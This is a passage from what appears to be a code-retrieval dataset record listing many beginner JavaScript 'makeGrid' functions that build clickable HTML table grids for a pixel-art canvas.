cell and when user click in one of cell changed the color\n for (var j = 0; j < input2; j++) {\n var cell = document.createElement('td');\n row.appendChild(cell);\n cell.addEventListener('click', function(e) {\n var color = document.getElementById('colorPicker').value;\n e.target.style.backgroundColor = color;\n })\n }\n table.appendChild(row);\n }\n}"],"string":"[\n \"function makeGrid() {\\n const height = inputHeight.val();\\n const width = inputWidth.val();\\n\\n for (let i = 0; i < height; i++) {\\n const row = $('');\\n for (let j = 0; j < width; j++) {\\n row.append('');\\n }\\n canvas.append(row);\\n }\\n}\",\n \"function makeGrid (){\\nvar in1= $('#input_height').val();\\nvar in2= $('#input_width').val();\\n$(\\\"#pixel_canvas\\\").html(table(in1,in2)); }\",\n \"function makeGrid(inputHeight, inputWidth) {\\n var grid = '';\\n\\n for (let i = 0; i < inputHeight; i++) {\\n grid += '';\\n for (let w = 0; w < inputWidth; w++) {\\n grid += '';\\n };\\n grid += '';\\n };\\n\\n //append grid to the table\\n pixelCanvas.innerHTML = grid;\\n}\",\n \"function makeGrid() {\\n // reset pixel canvas\\n $(\\\"#pixelCanvas\\\").html(\\\"\\\");\\n // Select size input\\n height = $(\\\"#inputHeight\\\").val();\\n width = $(\\\"#inputWeight\\\").val();\\n //loop to add table cells and rows according to user input\\n for (let x = 0; x < height; x++) {\\n $('#pixelCanvas').append('');\\n }\\n for (let y = 0; y < width; y++) {\\n $('#pixelCanvas tr').each(function () {\\n $(this).append('');\\n });\\n }\\n}\",\n \"function makeGrid(){\\n\\tconst inputHt=$('#inputHeight').val(); //Getting input value for row\\n\\tconst inputWt=$('#inputWidth').val(); //Getting input value for column\\n\\n\\tfor(var i=0;i\\\"); //creating rows\\n\\t\\tfor(var j=0;j\\\"); //creating columns\\n\\t\\t}\\n\\t}\\n}\",\n \"function makeGrid() {\\n var {width, height} = size_input();\\n\\n for (rowNum = 0; rowNum < height; rowNum++) {\\n grid.append(\\\" \\\");\\n }\\n for (colNum = 0; colNum < width; colNum++) {\\n $(\\\"#pixel_canvas tr\\\").append(\\\" \\\");\\n }\\n}\",\n \"function makeGrid(){\\r\\n $('#pixel_canvas').children().remove();\\r\\n row=$('#input_height').val();\\r\\n column=$('#input_width').val();\\r\\n var i=0;\\r\\n while(i');\\r\\n for(var j=0;j');\\r\\n }\\r\\n i++;\\r\\n }\\r\\n }\",\n \"function makeGrid(event) {\\n// Your code goes here!\\n event.preventDefault();\\n let height = heightInput.value;\\n let width = widthInput.value;\\n console.log(height + \\\",\\\" + width);\\n while (pixelCanvas.firstChild) {\\n pixelCanvas.removeChild(pixelCanvas.firstChild);\\n }\\n\\n for (let i = 0; i < height; i++) {\\n let newRow = document.createElement(\\\"tr\\\");\\n for (let j = 0; j < width; j++) {\\n let newTd = document.createElement(\\\"td\\\");\\n newRow.appendChild(newTd);\\n }\\n pixelCanvas.append(newRow);\\n }\\n}\",\n \"function makeGrid(inputWidth, inputHeight) {\\n\\tlet table = \\\"\\\";\\n\\n\\tfor (let row = 0; row < inputHeight; row++) {\\n\\t\\t$('.row').remove();\\n\\t\\ttable += \\\"\\\";\\n\\t\\tfor (let column = 0; column < inputWidth; column++) {\\n\\t\\t\\tif (column % 2 === 0 && row % 2 === 1) {\\n\\t\\t\\t\\ttable += \\\"\\\";\\n\\t\\t\\t} else if (column % 2 === 1 && row % 2 === 0) {\\n\\t\\t\\t\\ttable += \\\"\\\";\\n\\t\\t\\t} else {\\n\\t\\t\\t\\ttable += \\\"\\\";\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\ttable += \\\"\\\";\\n\\t}\\n\\tpixelCanvas.append(table);\\n}\",\n \"function makeGrid() {\\n\\n // get the table element\\n const canvas = document.getElementById('pixelCanvas');\\n // reset grid\\n while(canvas.firstChild) {\\n canvas.removeChild(canvas.firstChild);\\n }\\n\\n\\n var width = sizeForm.width.value;\\n var height = sizeForm.height.value;\\n console.debug(width);\\n console.debug(height);\\n \\n // create grid with height and width inputs\\n for(y = 0; y < height; y++) {\\n row = canvas.appendChild(document.createElement('TR'));\\n for(x = 0; x < width; x++) {\\n cell = row.appendChild(document.createElement('TD'));\\n }\\n }\\n\\n canvas.addEventListener('click', changeColor);\\n\\n}\",\n \"function createGrid(width, height) {\\n\\n}\",\n \"function makeGrid() {\\n\\t// hide the Grid by defult to show it in an animation style\\n\\ttable.hide();\\n\\ttable.empty();\\n\\n\\tconst width = $('#input_width').val() ;\\n\\tconst height = $('#input_height').val() ;\\n\\n\\t// no create the Grid !!\\n\\t// create the rows first (height).\\n\\tfor(var i = 0; i < height; i++) {\\n\\t\\ttable.append('') ;\\n\\t}\\n\\t// then we create the columns(width).\\n\\tfor(var i = 0; i < width; i++) {\\n\\t\\t$('.rows').append('') ;\\n\\t}\\n}\",\n \"function makeGrid(e) {\\n // Select color input\\n // const colorPicked = document.getElementById('colorPicker').value;\\n // Select size input\\n //height (tr)\\n let inputHeight = document.getElementById('inputHeight').value;\\n // console.log(inputHeight);\\n //width (td)\\n let inputWidth = document.getElementById('inputWidth').value;\\n // console.log(inputWidth);\\n // canvas\\n let pixelCnvs = document.getElementById('pixelCanvas');\\n pixelCnvs.innerHTML = '';\\n // adding tr and td to the table\\n let tableBody = document.createElement('tbody');\\n for(let i = 0; i < inputHeight; i++) {\\n let tableRow = document.createElement('tr');\\n for (let j = 0; j < inputWidth; j++) {\\n let tableColumn = document.createElement('td');\\n tableColumn.appendChild(document.createTextNode(''));\\n tableRow.appendChild(tableColumn);\\n }\\n tableBody.appendChild(tableRow);\\n }\\n pixelCnvs.appendChild(tableBody);\\n e.preventDefault();\\n\\n}\",\n \"function makeGrid(evt) {\\n\\t//access current height and width\\n\\txCell = $(\\\"#inputWidth\\\").val();\\n\\tyCell = $(\\\"#inputHeight\\\").val(); \\n\\t//access table element\\n\\ttable = $(\\\"#pixelCanvas\\\");\\n\\trows =\\\"\\\";//rows\\n\\tcols =\\\"\\\";//cols\\n\\t//create xCell no of row.\\n\\tfor(var r=1; r<=yCell; r++){\\n\\t\\trows = rows + \\\"\\\";\\n\\t}\\n\\t//create ycell no of column in each row.\\n\\tfor(var c=1; c<=xCell; c++){\\n\\t\\tcols = cols + \\\"\\\";\\n\\t}\\n\\t//create table with above rows and cols.\\n\\ttable.html(rows);\\n\\t$(\\\"tr\\\").html(cols);\\n\\t//do not submit.\\n\\tevt.preventDefault();\\n}\",\n \"function makeGrid(height,width) {\\n for (let r = 0; r < height; r++) {\\n $('#pixel_canvas').prepend('');\\n for (let d = 0; d < width; d++) {\\n $('tr').first().append('')\\n }\\n }\\n}\",\n \"function makeGrid(height, width) {\\r\\n// Grid is cleared\\r\\n pixelCanvas.empty();\\r\\n// Create new grid\\r\\n// Create rows\\r\\n for (let row = 0; row < height; row++) {\\r\\n let tableRow = $('');\\r\\n// Create columns\\r\\n for (let col = 0; col < width; col++) {\\r\\n let tableCell = $('');\\r\\n// Append table data to create grid\\r\\n tableRow.append(tableCell);\\r\\n }// End col for loop\\r\\n pixelCanvas.append(tableRow);\\r\\n }// End row for loop\\r\\n }// End makeGrid function\",\n \"function makeGrid(){\\n\\tfor(let row = 0; row < inputHeight.value; row++){\\n\\t\\tconst tableRow = pixelCanvas.insertRow(row);\\n\\t\\tfor(let cell = 0; cell < inputWidth.value; cell++){\\n\\t\\t\\tconst cellBlock = tableRow.insertCell(cell);\\n\\t\\t}\\n\\t}\\n}\",\n \"function makeGrid() {\\n canvas.find('tablebody').remove();\\n\\n // \\\"submit\\\" the size form to update the grid size\\n let gridRows = gridHeight.val();\\n let gridCol = gridWeight.val();\\n\\n // set tablebody to the table\\n canvas.append('');\\n\\n let canvasBody = canvas.find('tablebody');\\n\\n // draw grid row\\n for (let i = 0; i < gridRows; i++) {\\n canvasBody.append('');\\n }\\n\\n // draw grid col\\nfor (let i = 0; i < gridCol; i++) {\\n canvas.find('tr').append('');\\n }\\n\\n }\",\n \"function makeGrid() {\\n // Avoid the creation of repeating elements (h3, h4 tags)\\n setInitialStates();\\n\\n const tableHeight = $('#input_height').val();\\n const tableWidth = $('#input_width').val();\\n\\n // clear the old canvas\\n myTable.children().remove();\\n\\n //Set maximum limit for number inputs\\n if(tableHeight>50||tableWidth>50){\\n alert(\\\"Please Insert a Number Between 1 and 50 for GRID Height & Width\\\");\\n // Function the removes the unnecessary info tags (at this point)\\n setInitialStates();\\n // Reset the input values\\n $(\\\"form input[type=number]\\\").val(\\\"1\\\");\\n return true;\\n }else {\\n // Create the table\\n for (let n = 1; n<=tableHeight; n++){\\n // Create rows\\n myTable.append('');\\n for(let m = 1; m<=tableWidth; m++){\\n $('tr').last().append('');\\n }\\n }\\n // Add the extra info\\n addInfo();\\n }\\n}\",\n \"function makeGrid() {\\n\\n //Get nb of rows and cols input\\n const rows = $(\\\"#inputHeight\\\").val();\\n const cols = $(\\\"#inputWidth\\\").val();\\n \\n //the table\\n const table = $(\\\"#pixelCanvas\\\");\\n \\n //Reset to the empty tabl, in case one already created\\n table.children().remove();\\n \\n //Make rows\\n for (let i = 0; i < rows; i++) {\\n table.append(\\\"\\\");\\n //Create cols\\n for (let j = 0; j < cols; j++) {\\n table.children().last().append(\\\"\\\");\\n }\\n }\\n \\n //Listen for cell clicks\\n table.on(\\\"click\\\", \\\"td\\\", function() {\\n //Get color from color picker\\n let color = $(\\\"input#colorPicker\\\").val();\\n //Apply color to cell\\n $(this).attr(\\\"bgcolor\\\", color);\\n });\\n }\",\n \"function makeGrid(height, width) {\\n\\n for (let i = 0; i < height; i++){\\n const rows = document.createElement(\\\"tr\\\");\\n for (let j = 0; j < width; j++){\\n const cells = document.createElement(\\\"td\\\");\\n rows.appendChild(cells);\\n cells.setAttribute(\\\"id\\\", \\\"cell\\\" + [i]+[j]);\\n cells.setAttribute(\\\"onclick\\\", \\\"drawPixels(this.id)\\\");\\n }\\n table.appendChild(rows);\\n }\\n}\",\n \"function makeGrid(height, width) {\\n table;\\n var grid = '';\\n\\n for (var i = 0; i < height; i++){\\n grid += '';\\n for (var j = 0; j < width; j++){\\n grid += '';\\n }\\n grid += '';\\n }\\n table.innerHTML = grid;\\n addClickEventToCells();\\n}\",\n \"function makeGrid(height, width) {\\n // create rows\\n for (let i = 0; i < height; i++) {\\n let row = document.createElement('tr');\\n table_element.appendChild(row);\\n // create columns\\n for (let j = 0; j < width; j++) {\\n let column = document.createElement('td');\\n row.appendChild(column);\\n // add event to cell\\n column.addEventListener('mousedown', function () {\\n let color = color_value.value;\\n this.style.backgroundColor = color;\\n });\\n }\\n }\\n}\",\n \"function makeGrid() {\\n\\n// Your code goes here!\\n var height, width, grid, gridrow;\\n height = $('#inputHeight').val();\\n width = $('#inputWeight').val();\\n grid = $('#pixelCanvas');\\n gridrow = $('#pixelCanvas tr');\\n\\n for (var x = 0; x < width; x++) {\\n for (var y = 0; y < height; y++)\\n grid.append('tr');\\n }\\n gridrow.append('td');\\n}\",\n \"function makeGrid() {\\n\\n let h = height.value;\\n let w = width.value;\\n\\n // Clear table\\n for (let i = table.rows.length; i > 0 ; i--) {\\n table.deleteRow(i - 1);\\n }\\n\\n for (let y = 0; y < h; y++) {\\n const newTr = document.createElement('tr');\\n table.appendChild(newTr);\\n for (let x = 0; x < w; x++) {\\n const newTd = document.createElement('td');\\n table.lastChild.appendChild(newTd);\\n }\\n }\\n\\n let cell = table.querySelectorAll('td');\\n\\n for (let i = 0; i < cell.length; i++) {\\n cell.item(i).addEventListener('click', function () {\\n this.style.backgroundColor = color.value;\\n });\\n }\\n}\",\n \"function makeGrid(height,width,table){\\n for(var r=0;r 50) || (canvasHeight < 1) || (canvasHeight > 50))) {\\n // $('.warning p').css('visibility', 'visible');\\n // $('.warning p').fadeOut(7000, function() {\\n // $(this).css('display', 'block');\\n // $(this).css('visibility', 'hidden');\\n // });\\n // } else {\\n\\n // Actual function making all hard work :)\\n for (let i = 0; i < canvasHeight; i++) {\\n $('#pixel_canvas').append('');\\n for (let i = 0; i < canvasWidth; i++) {\\n $('tr:last-of-type').append('');\\n };\\n };\\n}\",\n \"function makeGrid() {\\n // Removing previous grid if it exists\\n $('tr').remove();\\n // Setting variables for width and height\\n const canvasWidth = $('#input_width').val();\\n const canvasHeight = $('#input_height').val();\\n // Conditional for checking correct input\\n // NOT NEEDED ANYMORE\\n\\n // if (((canvasWidth < 1) || (canvasWidth > 50) || (canvasHeight < 1) || (canvasHeight > 50))) {\\n // $('.warning p').css('visibility', 'visible');\\n // $('.warning p').fadeOut(7000, function() {\\n // $(this).css('display', 'block');\\n // $(this).css('visibility', 'hidden');\\n // });\\n // } else {\\n\\n // Actual function making all hard work :)\\n for (let i = 0; i < canvasHeight; i++) {\\n $('#pixel_canvas').append('');\\n for (let i = 0; i < canvasWidth; i++) {\\n $('tr:last-of-type').append('');\\n };\\n };\\n}\",\n \"function makeGrid(height,width) {\\n\\n// Your code goes here!\\n event.preventDefault();\\n var stgTable = \\\"\\\"\\n for(var intCountHeight = 0; intCountHeight < height; intCountHeight++) {\\n stgTable = stgTable + \\\"\\\";\\n for(var intCountWidth = 0; intCountWidth < width; intCountWidth++) {\\n stgTable = stgTable + \\\"\\\"\\n };\\n stgTable = stgTable + \\\"\\\";\\n };\\n\\n tblElement.innerHTML = stgTable;\\n\\n}\",\n \"function makeGrid(height, width) {\\n // set size of canvas\\n for (var i = 0; i < height.value; i++) {\\n const row = canvas.insertRow(i); // calls the function to set size rows\\n for (var j = 0; j < width.value; j++) {\\n const cell = row.insertCell(j); // cal the function to set size of insertCell\\n cell.addEventListner(\\\"click\\\", fillSquare);\\n }\\n }\\n}\",\n \"function makeGrid() {\\n\\n let height = document.getElementById('inputHeight').value;\\n let width = document.getElementById('inputWidth').value;\\n let table = document.getElementById('pixelCanvas');\\n\\n console.log(height, width)\\n// clear table\\ntable.innerHTML = '';\\ncolor.value = '#000000'\\n for (var i=0; i\\\"));\\n\\t\\tfor(j = 0; j < width; j++){\\n\\t\\t\\t$(\\\"tr\\\").last().append($(\\\"\\\"));\\n\\t\\t}\\t\\n\\t}\\n\\n\\t$(\\\"td\\\").on('click', function(event){\\n\\t\\tconst painting = $('#colorPicker').val(); // Select color input\\n\\t\\t$(event.target).css('background-color', painting); //painting the background of td with color picked by user\\n\\t});\\n\\n}\",\n \"function makeGrid() {\\r\\n // Your code goes here!\\r\\n var height,width,table;\\r\\n\\r\\n //the value of height and width\\r\\n var height=$(\\\"#input_height\\\").val();\\r\\n var width=$(\\\"#input_width\\\").val();\\r\\n\\r\\n var table=$(\\\"#pixel_canvas\\\");\\r\\n\\r\\n\\r\\n //to create new table, we must delete the prev\\r\\n table.children().remove();\\r\\n\\r\\n //to create rows and columns\\r\\n for (var i=0; i\\\");\\r\\n for (var j=0; j\\\");\\r\\n }\\r\\n }\\r\\n\\r\\n //make event listener when we click on any cell, color it\\r\\n table.on(\\\"click\\\",\\\"td\\\",function() {\\r\\n var color=$(\\\"input[type='color']\\\").val();\\r\\n $(this).attr(\\\"bgcolor\\\",color);\\r\\n });\\r\\n}\",\n \"function makeGrid() {\\n\\tlet\\trowNUM = $('#inputHeight').val();\\n\\tlet\\tcolumnNUM = $('#inputWeight').val();\\n\\t$('table').children().remove();\\n\\t\\n\\tfor(let i = 0;i < rowNUM; i++) {\\n\\t\\t$('table').append('');\\n\\t\\t}\\n\\tfor (let j = 0; j < columnNUM; j++) {\\n\\t\\t$('tr').append('');\\n\\t\\t}\\n\\t\\n\\t//上色\\n\\t$('td').on('click',function() {\\n\\tvar color = $('#colorPicker').val();\\n\\t$(this).attr('bgcolor', color);\\n})\\n}\",\n \"function makeCells() {\\n const rows = InputHeight.val();\\n const cols = InputWidth.val();\\n const pixelSize = InputSize.val() + 'px';\\n const TotalCells = rows * cols;\\n // Setting memory limit for undo-redo operations\\n UndoLimit = (TotalCells < 400) ? 5 : (TotalCells < 1600) ? 3 : 2;\\n // \\\"Start drawing\\\" button goes to the normal mode\\n SubmitBtn.removeClass('pulse');\\n // Creating table rows\\n for (let i = 0; i < rows; i++) {\\n Canvas.append('');\\n }\\n CanvasTr = $('.tr');\\n // Creating cells to every row\\n for (let j = 0; j < cols; j++) {\\n CanvasTr.append('');\\n }\\n CanvasTd = $('.td');\\n CanvasTr.css('height', pixelSize);\\n CanvasTd.css('width', pixelSize);\\n isSmthOnCanvas = false;\\n // Turning off the context menu over canvas\\n Canvas.contextmenu(function () {\\n return false;\\n })\\n // Adding a delay for avoid overloading browser by simultaneously animation\\n if (body.hasClass('checked') == false) {\\n setTimeout(function () {\\n CanvasBgr.slideToggle(250);\\n }, 700);\\n // For hiding useless elements\\n body.addClass('checked');\\n }\\n else {\\n CanvasBgr.slideToggle(250);\\n };\\n drawing();\\n manageHistory();\\n }\",\n \"function makeGrid(height, width) {\\n for (let row = 0; row < height; row++) {\\n $(\\\"#pixelCanvas\\\").append($(\\\"\\\"));\\n for (let col = 0; col < width; col++) {\\n $(\\\"tr\\\")\\n .last()\\n .append($(\\\"\\\"));\\n\\n $(\\\"td\\\").attr(\\\"class\\\", \\\"pixel\\\");\\n }\\n }\\n}\",\n \"function createDivs(gridDimension, canvasSize) {\\n $(\\\".container\\\").children().remove();\\n $(\\\".container\\\").append(\\\"\\\");\\n for(i=0; i< gridDimension; i++) {\\n $(\\\".container\\\").append(\\\"\\\");\\n for(j=0; j < gridDimension; j++) {\\n $(\\\".container\\\").append(\\\"\\\")\\n $(\\\"td\\\").css(\\\"height\\\", canvasSize/gridDimension);\\n $(\\\"td\\\").css(\\\"width\\\", canvasSize/gridDimension);\\n }\\n $(\\\".container\\\").append(\\\"\\\");\\n }\\n $(\\\".container\\\").append(\\\"
    \\\");\\n drawOnCanvas(getColor());\\n}\",\n \"function makeGrid() {\\n removeGrid();\\n let rows = gridHeight.val();\\n let columns = gridWidth.val();\\n //Add Row to the Table\\n for (let addRow = 0; addRow < rows; addRow++) {\\n grid.append('');\\n };\\n //Add column to the table\\n for (let addColumn = 0; addColumn < columns; addColumn++) {\\n $(\\\"tr\\\").each(function() {\\n $(this).append('');\\n });\\n }\\n}\",\n \"function makeGrid() {\\nconst gridHeight = document.getElementById(\\\"inputHeight\\\").value;\\nconst gridWidth = document.getElementById(\\\"inputWidth\\\").value;\\nconst pixelCanvas = document.getElementById(\\\"pixel_Canvas\\\"); \\npixelCanvas.innerText=\\\"\\\"; // empty table \\n\\nfor (let h=0; h (row) for each number on our height input\\n for (var row = 0; row < Height; row++) {\\n let newrow = tableplace.insertRow(row);\\n// 4. We do a loop, inside the loop of step 4, to create a new column for each number on the input width\\n for (var columns = 0; columns < Widht; columns++) {\\n let newcell = newrow.insertCell(columns);\\n //With this function Im going to let the user colored and specific square\\n newcell.addEventListener(\\\"click\\\", function () {\\n newcell.style.backgroundColor = color.value\\n })\\n }\\n }\\nevent1.preventDefault();\\n}\",\n \"function makeGrid() {\\n\\n// Your code goes here!\\n\\n const height = $(\\\"#input_height\\\").val();\\n const width = $(\\\"#input_width\\\").val();\\n const table = $(\\\"#pixel_canvas\\\");\\n\\n // Remove previous table\\n table.children().remove();\\n\\n // Set the table\\n for(let r = 0; r < height; r++ ){\\n let tr = document.createElement(\\\"tr\\\");\\n table.append(tr);\\n\\n for(let w = 0; w < width; w++){\\n let td = document.createElement(\\\"td\\\");\\n tr.append(td);\\n }\\n\\n }\\n\\n // Submit the form and call function to set the grid\\n $(\\\"#sizePicker\\\").submit(function(event){\\n event.preventDefault();\\n makeGrid();\\n });\\n\\n // Declare clickable mouse event\\n let mouseDown = false;\\n\\n $(\\\"td\\\").mousedown(function(event){\\n mouseDown = true;\\n const color = $(\\\"#colorPicker\\\").val();\\n $(this).css(\\\"background\\\", color);\\n // Mouse drag for drawing\\n $(\\\"td\\\").mousemove(function(event){\\n event.preventDefault();\\n // Check if mouse is clicked and being held\\n if(mouseDown === true){\\n $(this).css(\\\"background\\\",color);\\n }else{\\n mouseDown = false;\\n } \\n });\\n });\\n\\n // Mouse click release\\n $(\\\"td\\\").mouseup(function(){\\n mouseDown = false;\\n });\\n\\n // Disable dragging when the pointer is outside the table\\n $(\\\"#pixel_canvas\\\").mouseleave(\\\"td\\\",function(){\\n mouseDown = false;\\n });\\n}\",\n \"function insertTableCells(){\\n const pixelCanvas = document.getElementById('pixelCanvas');\\n const heightInput = document.getElementById('inputHeight');\\n const widthInput = document.getElementById('inputWidth');\\n\\n for (let row = 0; row < heightInput.value; row++){\\n tr = document.createElement('tr');\\n trList.push(tr); // will add rows to trList to use them in cleanGrid\\n pixelCanvas.appendChild(tr);\\n for (let column = 0; column < widthInput.value; column++) {\\n td = document.createElement('td');\\n tr.appendChild(td);\\n }\\n }\\n}\",\n \"function makeGrid() {\\n\\tfor (y = 0; y < sizeY; y++ ){\\n\\t\\t$('#pixelCanvas').append('');\\n\\t\\t\\tfor(x = 0; x< sizeX; x++ ){\\n\\t\\t\\t\\t$('#pixelCanvas tr:last-child').append('');\\n\\t\\t\\t}\\n\\t\\t$('#pixelCanvas').append('');\\n\\t}\\n}\",\n \"function makeGrid() {\\n\\tconst inputHeight = document.getElementById('inputHeight').value;//get the height value given by the user\\n\\tconst inputWidth = document.getElementById('inputWidth').value;//get the width value given by the user\\n\\tconst pixelCanvas = document.getElementById('pixelCanvas');// create a variable for the table\\n pixelCanvas.innerHTML = \\\"\\\";//create a table. also reset the table after a new submit\\n for (let x = 0; x < inputHeight; x++) {\\n var row = document.createElement('tr');\\n pixelCanvas.appendChild(row);//insert new element row in the table \\n for (let y = 0; y < inputWidth; y++) {\\n var column = document.createElement('td');\\n row.appendChild(column); // insert new element column in the table\\n\\t\\t\\tcolumn.addEventListener('mousedown', function(e) { //implement clickListener on the td element\\n \\t\\t\\tlet color = document.getElementById('colorPicker').value;// get the color that the user has selected. i use let so that the color changes everytime the user choose a new one.\\n \\t\\te.target.style.backgroundColor = color; // paint the td with the color\\n\\t\\t\\t})\\n }\\n }\\n}\",\n \"function makeGrid() {\\n\\n\\t// Your code goes here!\\n\\t\\n\\tlet submit = $('input[type=\\\"submit\\\"]');\\n\\tlet canvas = $('#pixelCanvas');\\n\\tlet colorPicker = $('#colorPicker');\\n\\n\\tsubmit.on('click', function(e){\\n\\t\\te.preventDefault();\\n\\t\\tcanvas.empty();\\n\\t\\tlet height = $('#inputHeight').val();\\n\\t\\tlet width = $('#inputWeight').val();\\n\\t\\tconsole.log(height);\\n\\t\\tconsole.log(width);\\n\\t\\taddRows(height, width);\\n\\t});\\n\\t\\n\\tfunction addRows(height,width){\\n\\t\\tfor(var i=0; i < height; i++) {\\n\\t\\t\\tcanvas.append('');\\n\\t\\t}addColumns(width);\\n\\t}\\n\\t\\n\\tfunction addColumns(width){\\n\\t\\tfor(var i=0; i ',{class:'cells'});\\n\\t\\t\\n\\t\\t\\tcell.on('click',function(e){\\n\\t\\t\\t\\te.preventDefault()\\n\\t\\t\\t\\tlet color = colorPicker.val();\\n\\t\\t\\t\\t$(this).css('background-color', color);\\n\\t\\t\\t});\\n\\n\\t\\t\\t$('tr').append(cell);\\n\\t\\t}\\n\\t}\\n\\n\\t$('#clear').on('click', function(e){\\n\\t\\te.preventDefault();\\n\\t\\t$('.cells').css('background-color','');\\n\\t})\\n}\",\n \"function makeGrid() {\\n canvas.find('tbody').remove();\\n\\n //submit button size changes to fit grid size\\n var gridRows = heightInput.val();\\n var gridCol = weightInput.val();\\n\\n //tbody set to the table\\n canvas.append('');\\n\\n var canvasBody = canvas.find('tbody');\\n\\n //drawing grid rows\\n for (var i = 0; i < gridRows; i++) {\\n canvasBody.append('');\\n }\\n\\n //draw grid col\\n for (var i = 0; i < gridCol; i++) {\\n canvas.find('tr').append('');\\n }\\n }\",\n \"function makeGrid() {\\n // prevent submit button from reloading page\\n event.preventDefault();\\n const grid = document.querySelector(\\\"table\\\");\\n // clear any previously created table\\n grid.innerHTML = \\\"\\\";\\n // get the users size input\\n const size = getSize();\\n const width = size[0];\\n const height = size[1];\\n for (let y = 0; y < height; y++) {\\n // table row is intitialized inside the for loop so as to create a different in each loop\\n const tableRow = document.createElement(\\\"tr\\\");\\n grid.appendChild(tableRow);\\n for (let x = 0; x < width; x++) {\\n const tableColumn = document.createElement(\\\"td\\\");\\n tableRow.appendChild(tableColumn);\\n }\\n }\\n grid.addEventListener(\\\"click\\\", setCellColor);\\n}\",\n \"function makeGrid(height, width) {//takes the width and height input from the user\\r\\n $('tr').remove(); //remove previous table if any\\r\\n for(var i =1; i<=width;i++){\\r\\n $('#pixelCanvas').append('');//the tableid plus table data\\r\\n for (var j =1; j <=height; j++){\\r\\n $('#table' + i).append('');\\n };\\n \\n let trs = document.querySelectorAll(\\\"tr\\\");\\n console.log(`trs.length is ${trs.length}`);\\n for (let i = 0 ; i < gridWidth ; i++) { \\n console.log(`before building column ${i} of ${gridWidth}`);\\n \\n for (let tr = 0; tr < trs.length; tr++) {\\n console.log(`before building on tr ${tr} of ${trs.length}`);\\n trs[tr].insertAdjacentHTML('beforeend', '');\\n }\\n }\\n \\n // creates the css background color decided before submit grid creation\\n console.log(`background color is ${backgroundColor}`);\\n //create variable for all cells\\n let gridCells = document.querySelectorAll(\\\"td\\\");\\n //paint all cells of the grid iterating through the nodelist gridCells\\n for (let gridCell = 0; gridCell < gridCells.length; gridCell++) {\\n console.log(`painting BG gridCell ${gridCell} of ${gridCells.length}`);\\n gridCells[gridCell].style.backgroundColor = backgroundColor;\\n }\\n \\n }\",\n \"function makeGrid(HEIGHT,WIDTH) {\\n\\n// Your code goes here!\\nfor (let i = 0; i < HEIGHT; i++) {\\n $PCANVA.append('');\\n };\\n\\n for (let i = 0; i < WIDTH; i++) {\\n $('tr').append('');\\n };\\n}\",\n \"function drawGrid() {\\n noFill();\\n stroke(230, 50);\\n strokeWeight(2);\\n\\n for (let j = 0; j < config.numRows; j++) {\\n for (let i = 0; i < config.numCols; i++) {\\n rect(i * colWidth, j * rowHeight, colWidth, rowHeight)\\n }\\n }\\n }\",\n \"function makeGrid() {\\n //remove previous table if exists\\n $('#gridTable').remove();\\n const height = document.getElementById('input_height').value;\\n const width = document.getElementById('input_width').value;\\n\\n\\n // create table\\n const table = document.createElement('table');\\n table.id = \\\"gridTable\\\";\\n\\n // add rows and columns to the table\\n for (let i = 0; i < height; ++i) {\\n const row = table.insertRow(i);\\n for (let j = 0; j < width; ++j) {\\n const cell = row.insertCell(j);\\n\\n // add event listener to each cell such that\\n // it is fillied with selected color when clicked\\n cell.addEventListener('click', (e) => {\\n changeColor(e);\\n });\\n }\\n }\\n\\n // append the table to the canvas\\n document.getElementById('pixel_canvas').append(table);\\n}\",\n \"function makeGrid(height, width) {\\n\\n\\tfor(var x = 0; x < height; x++){\\n\\t\\tlet row = table.insertRow(x); \\n\\t\\tfor(var y = 0; y < width; y++){\\n\\t\\t\\tlet cell = row.insertCell(y);\\n\\t\\t\\tcell.addEventListener('click', function(event){\\n\\t\\t\\t\\tevent.preventDefault();\\n\\t\\t\\t\\tcell.style.background = penColor.value; \\n\\t\\t\\t})\\n\\t\\t}\\n\\t}\\n\\n\\n}\",\n \"function makeGrid(height,width) {\\n //let row = table.insertRow(0);\\n //let cell = row.insertCell(0);\\n\\n for (let i = 0; i <= height; i++){\\n let row = table.insertRow(i); // for the rows\\n for (let k = 0; k <= width; k++){\\n let cell = row.insertCell(k); // for the columns\\n // added eventListeners to each cell\\n cell.addEventListener('click', (e) => {\\n // to change the color of each cell clicked\\n cell.style.backgroundColor = color.value;\\n console.log(e);\\n });\\n \\n }\\n }\\n\\n // console.log(height,width);\\n // Your code goes here!\\n}\",\n \"function makeGrid() {\\n pixelCanvas.innerHTML = \\\"\\\";\\n for (let i = 0; i < gridHeight;i++) {\\n const tr = document.createElement(\\\"tr\\\");\\n for(let j = 0; j < gridWidth; j++){\\n const td = document.createElement(\\\"td\\\");\\n tr.appendChild(td);\\n }\\n fragment.appendChild(tr);\\n }\",\n \"function table(size){\\r\\n\\tvar div=document.getElementById(\\\"div\\\"); //select the div to draw grid on it\\r\\n\\tvar createTable=document.createElement(\\\"table\\\"); \\r\\n\\tdiv.appendChild(createTable); \\r\\n\\tvar rows=[];\\r\\n\\tvar rowsData=[];\\r\\n\\tfor(var i=0;i\\\");\\r\\n\\t\\t createTable.appendChild(rows[i][0]);\\r\\n\\t\\t for(var j=0;j\\\");\\r\\n tdEle.css(\\\"width\\\",\\\"35px\\\");\\r\\n tdEle.css(\\\"height\\\",\\\"15px\\\");\\r\\n rowsData.push(tdEle);\\r\\n\\t\\t\\t rows[i].append(tdEle); \\r\\n\\t\\t } \\r\\n\\t}\\r\\n createTable.setAttribute(\\\"border\\\",\\\"1\\\");\\r\\n\\tcreateTable.style.width=\\\"80%\\\";\\r\\n\\t$(\\\"td\\\").on(\\\"click\\\",triggerTile); //set click event on the cells of the grid\\r\\n\\treturn rowsData; //return array of cells\\r\\n}\",\n \"function drawHlGrid(){\\n\\tvar obj = gridSize();\\n\\tvar canvas = document.getElementById('hl_grid');\\n\\t\\n\\tvar context = canvas.getContext('2d');\\n\\tcontext.scale(dpr,dpr);\\n\\t\\n\\t//Set the canvas size\\n\\tcanvas.width = (obj.colWidth * obj.cols+0.5)*dpr;\\n\\tcanvas.height = (obj.rowHeight*obj.rows+0.5)*dpr;\\n\\t\\n\\tcanvas.style.width = `${obj.colWidth * obj.cols+0.5}px`;\\n\\tcanvas.style.height = `${obj.rowHeight*obj.rows+0.5}px`;\\n\\tcontext.scale(dpr,dpr);\\n\\n}\",\n \"function makeGrid(height, width) {\\n\\n for (let r = 0; r < height; r++) {\\n let row = shape.insertRow(r);\\n\\n for (let c = 0; c < width; c++) {\\n let cell = row.insertCell(c);\\n\\n cell.addEventListener('click', (event) => {\\n cell.style.backgroundColor = chooseColor.value;\\n });\\n }\\n }\\n}\",\n \"function drawgrid(tabinput, 